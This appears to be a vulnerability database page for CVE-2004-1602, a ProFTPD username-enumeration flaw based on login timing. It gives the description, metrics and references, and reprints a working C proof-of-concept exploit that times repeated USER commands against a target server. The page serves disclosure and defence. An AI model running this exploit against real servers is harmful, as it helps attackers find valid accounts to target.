CVE-2004-1602 : Detail

CVE-2004-1602

1.52%V3
Network
2005-02-20
04h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

ProFTPD 1.2.x, including 1.2.8 and 1.2.10, responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-203 Observable Discrepancy
The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 581

Publication date : 2004-10-16 22h00 +00:00
Author : Leon Juranic
EDB Verified : Yes

/* Details Vulnerable Systems: * ProFTPD Version 1.2.10 and below It is possible to determine which user names are valid, which are special, and which ones do not exist on the remote system. This can be accomplished by code execution path timing analysis attack at the ProFTPd login procedure. There is a very small (but significant) difference in time delay of code execution path between valid and non-valid user names. That can be used to remotely determine the difference between existent and non-existent users. The time delay can be measured by using a simple FTP client that will calculate elapsed time between 'USER' command sent by client, and the server response. Because of the very short response period, elapsed time should be measured in microseconds. Proof of Concept Code: LSS has developed simple PoC exploit that is presented here: // ProFTPd remote users discovery based on code execution time - POC exploit // Coded by Leon Juranic // http://www.lss.hr */ #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <arpa/inet.h> #include <sys/time.h> #define PORT 21 #define PROBE 8 main (int argc, char **argv) { int sock,n,y; long dist,stat=0; struct sockaddr_in sin; char buf[1024], buf2[1024]; struct timeval tv, tv2; struct timezone tz, tz2; printf ("Proftpd remote users discovery exploit\n" " Coded by Leon / LSS Security\n" ">-------------------------------------<\n"); if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); } sock = socket (AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons (PORT); sin.sin_addr.s_addr = inet_addr (argv[1]); bzero (sin.sin_zero,8); connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr)); printf ("Login time: "); n = read (sock,buf2, sizeof(buf2)); for (y=0;y<PROBE;y++) { gettimeofday (&tv,&tz); snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]); write (sock, buf, strlen(buf)); n = read (sock,buf2, sizeof(buf2)); gettimeofday (&tv2,&tz2); dist =tv2.tv_usec - tv.tv_usec; stat += dist; printf (" %d |",dist); } printf ("\nAvrg: %d\n",(stat/PROBE)); close (sock); } // milw0rm.com [2004-10-17]

Products Mentioned

Configuraton 0

Proftpd>>Proftpd >> Version From (including) 1.2.0 To (including) 1.2.10

References

http://securitytracker.com/id?1011687
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/11430
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=109786760926133&w=2
Tags : mailing-list, x_refsource_BUGTRAQ